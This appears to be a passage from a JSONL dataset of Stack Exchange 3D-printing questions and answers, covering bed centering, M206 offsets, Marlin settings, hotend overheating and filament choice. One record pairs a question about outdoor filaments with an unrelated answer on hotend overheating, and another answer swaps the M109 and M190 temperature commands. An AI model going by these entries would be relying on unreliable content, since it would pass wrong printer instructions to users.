F500\n```\n);\nnote a Z of 15 is chosen for safety!\n. When this is performed, the nozzle should be at the (elevated, so X, Y) origin as defined by your firmware. Usually this is at the left front corner of your build plate (there may be clips there, so therefore the elevated value), but this may be different depending on the firmware settings or firmware brand.\nNext step is to configure the slicer as such that this coincides with the actual origin. Incorrect slicer settings can cause the slicer to assume the origin is at a different position than your actual position. In Ultimaker Cura, the \"Origin at center\" is notoriously known for this when the physical origin is not in the center, but in a corner. When the slicer is properly instructed, but the origin is still not at the corner of the build plate (\nbeware!\nin some printers the origin is in the middle of the plate) you might have incorrect endstop to origin offsets.\nDetermine the offset first!\nTo quantify the offset of the center as it is known by the printer software (firmware) it is advised to print a large square that is a few percentage smaller than the maximum size of the bed. E.g. you can create a square hull at e.g. 90 % of the dimensions of the bed (parametric designs are very useful for this purpose, see e.g.\nthis design\n). There are many things (\n```\n.stl\n```\nmodels) to be found on the internet. If it includes a cross, even better as some platforms have a mark in the center of the bed.\nExample of a bed center calibration model\nOnce printed, measure the distance from every edge from the build platform to the printed square. If you fail to print the square, please check the level of the platform;\nthis is also an excellent test for the level of your bed!\nThe measurements should give you a notion of the offset of the bed. E.g. for the X-axis you measure a distance of 12 mm on the left and 8 mm on the right (when facing the printer) you can easily deduce that the center is (12 - 8)/2 = 2 mm to the right (positive X direction). This implies that the printer manufacturer has done a lousy job by delivering you a printer with an offset bed; better said incorrectly configured in their firmware. Note this is not uncommon!\nHow to fix this!\nOnce you quantified the offset, you want to be sure that your next print prints in the middle of the bed. How to proceed? Basically there are a couple of solutions you can use, each with its own advantages and disadvantages.\nA simple solution (i.e. if the printer support this) is to adjust the position of the endstops. Alternatively you can print alternate endstop holders to match the position change as measured from the calibration print.\nAnother simple and popular solution is applying an\noffset in the slicer\n. You could do that in the printer options some of the available slicers. If such options are not available, you could add\nG-code commands in the start code\nto create the offset (e.g.\n```\nG1\n```\nX-2 moves to the left and\n```\nG92 X0\n```\nresets the X origin). Note that this is a quick fix and should be applied wisely. The printer does not know where the actual center is! You merely changed if after the homing sequence. Exchanging\n```\n.gcode\n```\nwith fellow enthusiasts with the same printer may have adverse effects.\nA far better solution is to fix the center in the firmware so that the printer knows the\nactual\ncenter. This requires some extra effort by uploading firmware (files including configuration settings) to the printer or send G-code commands. The latter option will be discussed first.\nA prerequisite of this method is that it requires the\nG-code command\n```\n[M206](https://reprap.org/wiki/G-code#M206:_Offset_axes)\n```\nto be supported by your firmware; note that not all 3D printer firmware solutions are able to use this G-code command for axes offset definition. E.g. the stock Anet A8 runs a modified Repetier version that does not support\n```\nM206\n```\n, it would be time to upload a new firmware like e.g.\nMarlin Firmware\nmaking this particular printer safer as the stock firmware does not include thermal runaway protection! See question: \"\nWhat is Thermal Runaway Protection?\n\". To send G-code commands to a printer you have the option to hook up your computer to the printer over USB and use a 3D printer program that support sending commands to the printer (this is called a terminal; i.e. an interface to the printer). Programs like\nPronterFace\n,\nRepetier-Host\n,\nOctoPrint\n, and probably many more have such an interface. A simple alternative that works also is creating a text file (with\n```\n.gcode\n```\nextension) with the commands on separate lines and executing the \"print\". The following codes need to be sent:\n```\nM206\n```\ne.g.\n```\nM206 X-2 Y2\n```\n(move center left and to the back, note to use integer values, float values are not allowed!) and store this new center with\n```\nM500\n```\n.\nThe final, best solution is to set it fixed in the firmware. This requires an upload of a more recent configured version of an applicable firmware. See e.g. question: \"\nHow to upload firmware to reprap printer?\n\". Note that there are different methods to upload a firmware to the board, it is best to search the internet for the applicable method for your board.\nTo do that you will have to be comfortable with computer software and tools to build source files and upload binary code to the printer. This depends on the type of firmware you choose and therefore cannot be described for each firmware in detail. Various sources on the internet describe this process. Generally speaking, it requires you to set the bed and offset values/positions correctly. For Marlin Firmware this comes down to changing the settings in the\nconfiguration file\n, this is similar in other firmware software solutions:\n```\n// The size of the print bed\n#define X_BED_SIZE 220\n#define Y_BED_SIZE 220\n \n// Travel limits (mm) after homing, corresponding to endstop positions.\n#define X_MIN_POS -35 ; used to be -33, so 2 mm shift to left now\n#define Y_MIN_POS -8 ; used to be -10, so 2 mm shift to the back\n#define Z_MIN_POS 0\n#define X_MAX_POS X_BED_SIZE\n#define Y_MAX_POS Y_BED_SIZE\n#define Z_MAX_POS 240\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.300699"}
{"id": "hf_845c9b809a41", "question": "<p>I read something the other day about a guy who found a way to knock over completed prints with the printer head itself, then slide them to the edge of the build plate, where they fall into a box/basket. This allows printing several Eiffel Towers while you sleep for example. It doesn't work with skirts (duh), and the adhesion has to be just right not to wake up with a pile of spaghetti, but it still sounds useful.</p>\n\n<p>Well, now I cannot re-find the description I read; does anyone know what this process is called? Is there an easy way I can perform such an end-of-print action on my CR-10 with a cura plugin? If such a thing takes a touch of end-time custom gcode, is there a proof of concept rough draft or demo I can start tinkering with? Any more info is helpful.</p>\n", "question_body": "", "answer": "You could cool down the heated bed (with e.g.\n```\n[M109][1] R28\n```\n) and cool down the hotend (with e.g.\n```\n[M190][1] R40\n```\n). This will usually release the print from the plate, perform the actions to move the head (e.g. go to the largest X, Y position\n```\nG1 X{max} Y{max}\n```\n, move down\n```\nG1 Z10\n```\nto then move to minimum X, Y\n```\nG1 X0 Y0\n```\nposition such that it sweeps the print to the origin) that it knocks it into the basket and start printing again by copy pasting the whole G-code beforehand a couple of times. Note that this all depends on the product you are printing. You should at least use the end code scripts for the specific tasks to cool down, and start scripts to heat up again.\nYou can write a Cura plugin to implement a new GUI item to copy the G-code multiple times or create a post processing plugin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.338744"}
{"id": "hf_120b3175ca44", "question": "<p>I got myself the Ender 3. The Home position is about 1 mm left and 2 mm in front of the front left corner. Now, the hotend center axis is 11 mm from the carrier plate with the &quot;Mk 10&quot; cooler mounted right onto a pair of 5 mm pegs that are part of the plate. As I want to change to an e3D v6, which has a diameter of 22 mm, I will have to move out some distance (ca. 13 mm) to the current Z axis. This means, that any Y command will be off by this distance.</p>\n<p><strong>How do I reconfigure the Home position to have an offset to the 0-positions gained from the limit switches?</strong></p>\n<p>According to Repetier Host it runs on <strong>Marlin 1.0</strong>. Creality offers the firmware on <a href=\"https://www.creality3d.cn/download/firmware_c0001\" rel=\"nofollow noreferrer\">their website</a> as a <strong>.hex</strong> file - which is hard to edit.</p>\n", "question_body": "", "answer": "When homing the printer, the hot end carriage will be instructed to hit the (mechanical or optical) end stops. From this point a well configured firmware knows where to find the origin of the heat bed.\nFor the printer to know the origin of the bed, offsets are defined in the firmware from the end stop locations to the actual origin of the heat bed.\nE.g. in Marlin Firmware this is defined by\n```\n```\n#define X_MIN_POS -35 ; move the head 35 mm to the right to place the \n                       ; nozzle at X = 0\n #define Y_MIN_POS -8  ; move the head 8 mm to the back (or the plate\n                       ; forward) to place the nozzle at Y = 0\n```\n```\nWhen you change the hardware (e.g. carriage), you need to re-calibrate the movement from the end stop location to the origin of the bed. Note that any arbitrary point on the heat bed can be used to re-calibrate this. E.g. the center of the bed can also be used, and is frequently much more easy to re-calibrate as the heated beds usually have rounded corners or are slightly larger than the actual print area (e.g. I have a 300 x 300 mm heat bed that actually measures 315 x 315 mm). Printing a large square on the heat bed will therefore give you a good impression of the offset of the nozzle due to your new carriage design.\nNote that, if you cannot or will not flash new firmware, an alternative solution exists to set new incremental offset values using the\n```\nM206\n```\ncommand\nIF\nyour current firmware supports\nthis.\nA detailed description to re-calibrate is found in answer\nHow to center my prints on the build platform?\nor in external link\nBed center calibration\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.374144"}
{"id": "hf_46b43a4a12fb", "question": "<p>I am wondering if this piece of G-code is valid:</p>\n\n<pre><code>G0 (Some comment (Its G0 command)) Y10 Z-5\n</code></pre>\n\n<p>I have tested this on my Chinese CNC machine and it strips out the comment and works flawlessly.</p>\n\n<p>The machine processes this as <code>G0Y10Z-5</code> which seems like the correct approach to me.</p>\n\n<p>I have however never seen such comment in real CNC practise.\nIt would be nice if anyone is able to test it out on their CNC/3D Printer.</p>\n\n<p>Many G-code simulators on the internet fail to process such a line in their parser so it makes me confused. I haven't found anything about it on RepRap Wiki or even Google.</p>\n", "question_body": "", "answer": "This is not universally valid G-code, and how it is handled depends on the implementation. You can use this style of comment on\nsome\nmachines, but not all.\nThe way parsing used to be implemented in Marlin (a very common 3D printer firmware), it would work fine unless the comment string included a X, Y, Z, E or F character. The parser simply looks for the first occurrence of X/Y/Z/E/F and then tries to parse the bit of text appearing after that character into a number. If the string cannot be parsed as a number, it defaults to 0 instead. For example,\n```\n```\nG0 (Some comment containing the character Y) Y10 Z-5\n```\n```\nwould be interpreted as\n```\nG0 Y0 Z-5\n```\nand not as\n```\nG0 Y10 Z-5\n```\n, because \") \" (the string appearing after the first occurrence of \"Y\") does not parse to any valid number. Your example happens to work fine because the comment string doesn't contain any special characters.\nMarlin does support end-of-line comments, which should start with a semicolon and continue until the end of the line.\nThis is how it used to work in older Marlin versions. Newer Marlin versions have a more advanced parser, but it still would not play well with these parentheses-style comments. It is best to avoid them, as compatibility is not guaranteed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.398062"}
{"id": "hf_8c81e665097d", "question": "<p>I made a few successful prints since I got my CR-10 two weeks ago and I didn't run into any major trouble. The printer is new.</p>\n\n<p>Today I set it to \"preheat\" mode while I was preparing the SD card with the settings being 210°C for the nozzle and 60°C for the bed. When I wanted to start the print I noticed that the temperature showed as \"actual temperature\" on the printer's screen showed 233°C and it was going up steadily while the \"requested\" temperature was still 210°C.</p>\n\n<p>Thiking it might be a mis-manipulation on my part I powered it down for a few minutes (I got scared by the high-temp) and then powered it back on. I then immediately requested the print to start. The CR-10 heated up to the proper value, started printing and kept heating the nozzle. I stopped it at 217°C.</p>\n\n<p>I looked for an answer on the internet but all I could find is people having trouble with the nozzle not heating at all ...</p>\n", "question_body": "", "answer": "This is not an easy one to solve, the firmware of the printer should be keeping the printer at a certain temperature depending on the temperature setting and the current value. If the firmware is not able to keep the temperature at the requested level, but goes beyond that level, that could be considered \"strange\". As it measures the temperature (and reports it on your display) it must know that it is over the limit and thus should not power the hotend.\nIn this process there are a few possible candidates for you to look at:\nCheck for a faulty\nMOSFET\n(sort of an electronic switch) on your controller board (is it leaking current to the hotend?).\nCheck and or update the current settings for the\nPID\nvalues (settings for the control loop of the hotend). The PID values control the overshoot of the temperature. E.g. is this is very large overshoot? When incorrectly configured the temperature can get higher, but normally should never increase to infinity, are you sure it keeps rising? The determination of the new values is called\nPID tuning\n. Important commands (that need to be send over a USB connected printer with a 3D printer terminal application like Repetier Host, OctoPrint or Pronterface):\nThe\nM503\nG-code\ncommand shows the current settings (somewhere in the heap of all settings).\nThe\nM303\nG-code\ncommand can determine the values.\nReflash the firmware\nReplace the printer controller board\nYou could replace the thermistor and the heater cartridge (just to be sure, most definitely not the problem, but they are really cheap to replace). The thermistor works as it reports the temperature, and the heater element doesn't get powered by itself.\nAs suggested below\nthe most likely candidate for your problem is the MOSFET\n. These are pretty easy to replace (depending on your board) or replaceable by an external MOSFET module (if you happen to have one lying around).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.456100"}
{"id": "hf_9791b09f300f", "question": "<p>I am searching for 3D printing filaments, that are suitable for outdoor purposes, but printable on unheated beds.</p>\n\n<p>I will mostly use it for sensor node enclosures (should withstand temperature up to 50°C/120°F) and car accessories (70°C/160°F).</p>\n\n<p>If it requires annealing, it should have low shrinkage, since I will be printing parts that will fit into each other.</p>\n", "question_body": "", "answer": "This is not an easy one to solve, the firmware of the printer should be keeping the printer at a certain temperature depending on the temperature setting and the current value. If the firmware is not able to keep the temperature at the requested level, but goes beyond that level, that could be considered \"strange\". As it measures the temperature (and reports it on your display) it must know that it is over the limit and thus should not power the hotend.\nIn this process there are a few possible candidates for you to look at:\nCheck for a faulty\nMOSFET\n(sort of an electronic switch) on your controller board (is it leaking current to the hotend?).\nCheck and or update the current settings for the\nPID\nvalues (settings for the control loop of the hotend). The PID values control the overshoot of the temperature. E.g. is this is very large overshoot? When incorrectly configured the temperature can get higher, but normally should never increase to infinity, are you sure it keeps rising? The determination of the new values is called\nPID tuning\n. Important commands (that need to be send over a USB connected printer with a 3D printer terminal application like Repetier Host, OctoPrint or Pronterface):\nThe\nM503\nG-code\ncommand shows the current settings (somewhere in the heap of all settings).\nThe\nM303\nG-code\ncommand can determine the values.\nReflash the firmware\nReplace the printer controller board\nYou could replace the thermistor and the heater cartridge (just to be sure, most definitely not the problem, but they are really cheap to replace). The thermistor works as it reports the temperature, and the heater element doesn't get powered by itself.\nAs suggested below\nthe most likely candidate for your problem is the MOSFET\n. These are pretty easy to replace (depending on your board) or replaceable by an external MOSFET module (if you happen to have one lying around).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.481347"}
{"id": "hf_735c708f826f", "question": "<p>Is hot glue suitable for FDM printing, or some process similar to it?</p>\n\n<p>I think it has all of the required properties, and could produce a flexible transluscent print.  It's cheap, hotends are cheap, and the technology has been around for a while.</p>\n\n<p>I couldn't find any examples or anyone talking about such a material for use, on here or the general Internet.  I wonder if there are tradeoffs or challenges that make it not worth pursuing.</p>\n", "question_body": "", "answer": "You could mount a hot glue gun to a 3D positioning frame, but you would immediately notice the following:\nHot glue sticks are fat, so you lose a lot of precision for each feed/retract increment. I.e., it's a lot harder to get precise feeds with a fat stick because the stick size is so much larger than the nozzle.\nHot glue sticks are short, so you would to create a filament to spool the stuff or come up with a glue stick feeder.\nHot glue melts at 120 °C and common plastics such as nylon melt at much higher temperatures. So hot glue would make an AWFUL structural part like a stepper mount. Even PLA barely deals with stepper temperatures. Note that temperature tolerance is irrelevant for costume parts.\nHot glue is soft, which makes it a great glue, but not very stiff for, say, making parts for a 3D printer. However, the parts might be fine for  use only in costumes, etc.\nBut, if you then used your 3D glue printer to dispense glue for gluing stuff together, well...that might be valuable. :D", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.510093"}
{"id": "hf_0965983a346e", "question": "<p>I own a DIY Hypercube Evolution equipped with Tevo Titan extruder, Clone Chimera hotend and Capricorn's High-temp PTFE tube. I use RAMPS with Mega and A4988's.</p>\n\n<p>During prints, my extruder motor randomly clicks. I touched the filament and during the clicks I'ven't felt any problems with extrusion. I looked at the motor shaft to control if it clicks at special angles or randomly, but it clicks randomly. My prints do look very good: clear and shiny.</p>\n\n<p>Do you have any suggestions? (the sound really gives me headache)</p>\n", "question_body": "", "answer": "Even though you may have acceptable extrusion, any clicking from that area of your printer is likely to be a missed step on the extruder motor. This may be insignificant with respect to print quality, but as you suggest, it is an irritation.\nIf you are confident that your nozzle is clean of debris (which is likely), you could consider to raise the nozzle temperature a few degrees. If the nozzle is not applying enough heat to the filament, it may resist being forced through and a click representing a delay, allows that much more heat to be applied.\nYou should not have to increase by much, certainly no more than five degrees.  It's also possible that you can slow the feed rate a bit to accomplish a similar result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.537769"}
{"id": "hf_bd13717abcca", "question": "<p>I specifically want to test </p>\n\n<ul>\n<li>calibration</li>\n<li>tolerances</li>\n<li>precision</li>\n<li>accuracy</li>\n</ul>\n\n<p>I'm having trouble with Print in Place models and I'm trying to find out if there's something I can do to improve my print quality. </p>\n\n<p>The printer I am using is a Kossel clone, specifically a FLSUN QQ and assume FDM printing.</p>\n", "question_body": "", "answer": "The best place to start looking is to go to\nThingiverse\nand search on '\nbenchmark\n'. There are a great many models there intended to test various aspects of printing. In fact you could search for example '\ncalibration benchmark\n' or '\ncalibration test\n' and get more specific examples.\nActually,\nhere\nis a collection I just made today of the benchmarks I thought most promising. Disclaimer: I haven't tried them yet!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.597667"}
{"id": "hf_8f5907b05e0a", "question": "<p>I need to replace the lid of my water kettle and am searching for a filament, that is suitable for this purpose. The requirements are:</p>\n\n<ol>\n<li>Stable at 100°C (212°F)</li>\n<li>Resistant to steam/moisture</li>\n<li>Food-safe</li>\n</ol>\n\n<p>Has anyone experimented with this or similar purposes?</p>\n", "question_body": "", "answer": "There are few materials that go up to that temperature and beyond.\nA very nice generic overview is given by\nSimplify3d\n:\nThis figure shows an overview of many of the used materials in 3D printing\nWhen looking closely, and without pointing to specific brands (to avoid a commercial posting), your best chances for appropriate filaments for your application is to look at Nylon, Polycarbonate (do not consider Polypropylene; that is very difficult to print) or (not mentioned in the overview as they are more recent filaments) Co-Polyester polymers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.621425"}
{"id": "hf_b199678668a4", "question": "<p>High performance polymers are becoming available for specific applications.</p>\n\n<p>One of such materials is PEEK (<a href=\"https://en.wikipedia.org/wiki/Polyether_ether_ketone\" rel=\"noreferrer\">PolyEther Ether Ketone</a>), a thermoplastic polymer in the polyaryletherketone (PAEK) family. PEEK competes with certain Aluminium alloys but is half the weight of Aluminium. For aerospace application this sounds very promising!</p>\n\n<p>NASA has <a href=\"https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20170000214.pdf\" rel=\"noreferrer\">shown</a> that printing these types of polymers is feasible using low-cost, open source hardware.</p>\n\n<p><strong>Does anybody know why the prices of PEEK are so high?</strong></p>\n\n<p>Depending on the supplier/manufacturer you're looking at about 700 - 900 Euro per kg.</p>\n\n<p><a href=\"https://i.stack.imgur.com/fqNar.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/fqNar.png\" alt=\"Natural colored PEEK filament samples\"></a></p>\n", "question_body": "", "answer": "My assumptions about PEEK filament price are:\nRaw material is more expensive. Compare price of\nABS\nwith\nPEEK\npellets.\nDemand is much lower. There are not many printers able to print peek. If you manufacture PEEK filament you have to store a filament batch for longer time. Manufacturer has to calculate into price storage space, material degradation, ...\nFilament machine tuning. You have to tune filament extrude machine for PEEK, which takes time because it's a totally different plastic. Maybe there is a cleanup needed after finishing a batch and switching to another material.\nWorking conditions. PEEK is quite smelly and I am not sure if you have to improve work conditions like better ventilation.\nResearch costs. You have to distribute research costs to a filament production where demand is low.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.667422"}
{"id": "hf_1fb32f397c37", "question": "<p>I´ve have read an article to change different pattern depending on amount of layers, but my question is if is possible to have different infill in the same part? For example:</p>\n\n<ul>\n<li>Base: has the infill of 25&nbsp;% but the same base has some tabs for screws and mount the part for this area the infill need to be 40&nbsp;% or greater.</li>\n<li>The walls and forms: this has the same of the whole part and can be filled at 25&nbsp;% but some areas need to be filled at 15&nbsp;% or less.</li>\n</ul>\n\n<p>Probably someone has seen or reviewed another software to achieve this, or I'm fooling myself.</p>\n", "question_body": "", "answer": "This answer explains that you can have different infill within the same part. Firstly the implementation in\nUltimaker Cura\nis described, secondly how you can do this in\nSlic3r\n.\nUltimaker Cura\nI've used a feature in\nUltimaker Cura\nthat can be used to alter the infill density locally. What you need to do is load your model into Cura, then load other objects (models) at the size of the area/volume you want your infill differently and position those at the position you want a different infill. Alternatively, you can add support blocker cubes that can be used as well.  So basically, you use other models to intersect with your primary model to create intersections that can take a different infill percentage (please note that you can alter even more options, as long as you add these to the intersecting volume). This is extremely useful for lugs and brackets where you need some extra infill (e.g. extra stiffness for compression stresses) at the fastener holes. Note that this is an advanced feature which is not easy to use, but quite handy if you master it.\nI could not find the video (\non second thoughts, I think it was animated GIF\n) posted by Team Ultimaker, so I quote a section of one of their forum topics.\nA short how-to:\n(italic font is not in the reference, but added to reflect recent version of Cura)\nUnselect \"keep models apart\"\n(now called: \"Ensure models are kept apart\")\nand \"drop models to build plate\"\n(now called: \"Automatically drop models to the build plate\")\nin Cura preferences\nImport a second object (for example a simple cube)\nPut Cura in \"custom mode\"\nSelect the cube, and use the button \"per object settings\" on the left side\nSelect \"Infill Mesh\"\n(now called: \"Modify settings for infill of other models\")\nand enable that setting\nThe cube now turns transparent gray.\nPosition the cube to overlap part of your model. It should overlap with the section that you want to change the infill for.\nAlso with \"per object settings\"\n(now called: \"Per model settings\")\nselect the option \"infill density\"\nSet it to the desired value. All is more or less illustrated in the screenshot below\nThe picture shows a cube on the buildplate with infill 20 %. Locally, with a rotated 2nd cube, the infill % is raised to 100 %.\nWhat happens is that the volume where the cube intersects with your object is locally sliced with different infill.\nPlease find below another example of a simple bracket that has extra cylindrical objects loaded to create the intersections with the bracket at the fastener holes. In the\nexample\n, the infill at the fastener holes is set to 99 %.\nAfter slicing, you will see that the infill at the intersections is adjusted accordingly.\nNote:\nI've tested this in Ultimaker Cura 3.4.1, and confirm it works. I sliced a part with the inserts for fasteners and it actually is not very difficult, it just requires a little more work. You will have to make some STL's of cylinders and position them correctly. If you make your own 3D models it will be a very easy task to add extra components while you design, positioning will be a lot more easy then (as they align with your model). An example is the following linear\nZ rod bracket of a Hypercube Evolution CoreXY printer\n, this bracket requires local reinforcements for the bolts clamping the bracket onto the aluminum extrusion profile:\nInserts are modeled together with the development of the bracket:\nWhen combined, it looks like this:\nNow the infill can be modified locally to 100 % to increase compression strength.\nNote that this will also work if you want a different infill percentage at the first X layers, just use a large cube (larger than the model) and position it correctly. Note that Cura already has an option called \"Gradual Infill Steps\" to adjust the density at the top layers.\nSlic3r\nThis reference\ndescribes how to do this for\nSlic3r\nin detail.\nThe blog describes the use of a simple volume (the green volume loaded from an STL file). After loading:\nRight-clicking on the main part brought up the object settings menu.\nFrom there, clicking \"Load Modifier\" and selecting the previously\nsaved model adds it to the part as a modifier.\nThe green \"+\" was selected and \"Fill Density\" was added to modifier\nlist and set to 100 %.\nThis shows that the functionality in Slic3r is very similar to the functionality in Ultimaker Cura.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.690181"}
{"id": "hf_3700b2a5b686", "question": "<p>I have been wondering about 3D metal printing (steel, aluminium), but after a short research on google I found only too expensive printers (markforged, desktop metal and a few other industrial ones). Is there any less expensive printer that is able to print metal parts on the market ?</p>\n", "question_body": "", "answer": "Anzalone and friends published\nA Low-Cost Open-Source Metal 3-D Printer\nin\nIEEE Access\n:\nThis paper reports on the development of a open-source metal 3-D printer. The metal 3-D printer is controlled with an open-source micro-controller and is a combination of a low-cost commercial gas-metal arc welder and a derivative of the Rostock, a deltabot RepRap. The bill of materials, electrical and mechanical design schematics, and basic construction and operating procedures are provided.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.739388"}
{"id": "hf_ba209155efbb", "question": "<p>I know very little about the history of 3D printing, except that SLA came first (in the 1980's?), and FDM development was probably held back by patents.</p>\n\n<p>By 2016, very low price kit machines were available to hobbyists, in the &lt;€300 price range, as price-reduced clones of designs which had already seen several iterations.</p>\n\n<p>Was this the start of the break-out of cheap FDM machines (as opposed to the >€2000 semi-professional lab budget prototyping class), or were the earlier iterations of these kit machines also suitable/adopted by hobbyists?</p>\n\n<p>I realise that early popularity would grow exponentially, but I'm thinking particularly at what point people could build a printer without needing to compile their own firmware, solder any boards, etc.</p>\n", "question_body": "", "answer": "By 2016, very low price kit machines were available to hobbyists [..]\nWas this the start of the break-out of cheap FDM machines\nNo, not by any means. The\nRepRap project\nstarted in 2005, and by 2008-2010 there were several open-source printer designs out there that were somewhat workable for hobbyists. These designs were still quite expensive, you needed to source all the components yourself and do a very significant amount of troubleshooting.\nHowever, as early as mid-2009 you could buy a\nMakerbot Cupcake CNC\nfor \\$750 as a kit (which might have involved some soldering) or \\$2500 fully assembled (presumably without soldering, but it's conceivable it was plug-and-play). Makerbot went on to become quite a successful company, piggybacking off the RepRap project and could be viewed as the \"break-out\" you ask about.\nI purchased my first printer kit (no soldering or firmware involved) for \\$500 (plus around \\$150 in shipping and taxes) in February 2014; cheap hobbyist machines were commonplace well before that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.762267"}
{"id": "hf_82ce9799be8a", "question": "<p>It would be helpful to me if I knew in advance how much the <strong><em>empty</em></strong> filament spool weighs. </p>\n\n<p>Not having emptied any spool yet, I can't contribute data points, but has anyone compiled a list of empty weights from various manufacturers and sizes?</p>\n", "question_body": "", "answer": "Yes, there is a table on\nReddit - Empty spool weights for estimating remaining filament\nwhich suggests that the norm (in 2015) was between 170 and 330 grams for a 1 kg spool, superficially in a bimodal distribution clustered around the high and low points. Presumably these were for 3 mm filament, this post dating to before the popularity of 1.75 mm...\nManufacturer's have an incentive to reduce the mass of their spools, or even ship without spools, since the shipping cost will eat into their profit margin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.810403"}
{"id": "hf_3952ec1c5ceb", "question": "<p>I see plans for various spool holders, either for PLA in the open, or for whatever filament in a dry box, that use 608 bearings. Elsewhere, I see warnings not to oil your filament to make it go through the extruder better, because problems going through mean something else is wrong, and it's better to fix the other thing. So, if I use the 608's, will oil leak on the filament, and is this bad?</p>\n", "question_body": "", "answer": "Typically, oiling a filament would mean to use a vegetable based or non-petroleum type of lubricant, possibly even PTFE (teflon) or silicone. Those materials will not damage PLA filament.\nOiling filament is not the haphazard application of lubricant, however. One drop on the filament sponge guide will last a rather long time and should be given sufficient time to distribute itself in the sponge, helping it along by alternately squeezing and releasing the sponge.\nBall bearings of the type you've described will not have oil, unless otherwise modified by the user/owner. The bearings are packed with grease which will not leak out under normal circumstances. Running the bearings at high speed will cause the grease to thin a bit and perhaps drip or if hot enough will \"sludge up.\" If your bearing grease turns to sludge, the bearing has already gotten hot enough to melt out of your plastic fitting.\nFor spool holder applications, you can clean the grease from the bearing with a suitable solvent (denatured alcohol, acetone, soap and hot water in a pinch) and expect little impact on the drag. The spools rotate at such slow speeds and under such small load that the bearings alone will work nearly forever. This recommendation is void in dusty environments.\nWith respect to oiling the filament, it's not a bad idea to have a sponge dust catcher that has no oil just as the filament enters the last open location. My bowden extruder system is nearly enclosed and the sponge sits at the very edge of the spool, while a direct extrusion system would have the sponge at the entry to the extruder gears.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.838068"}
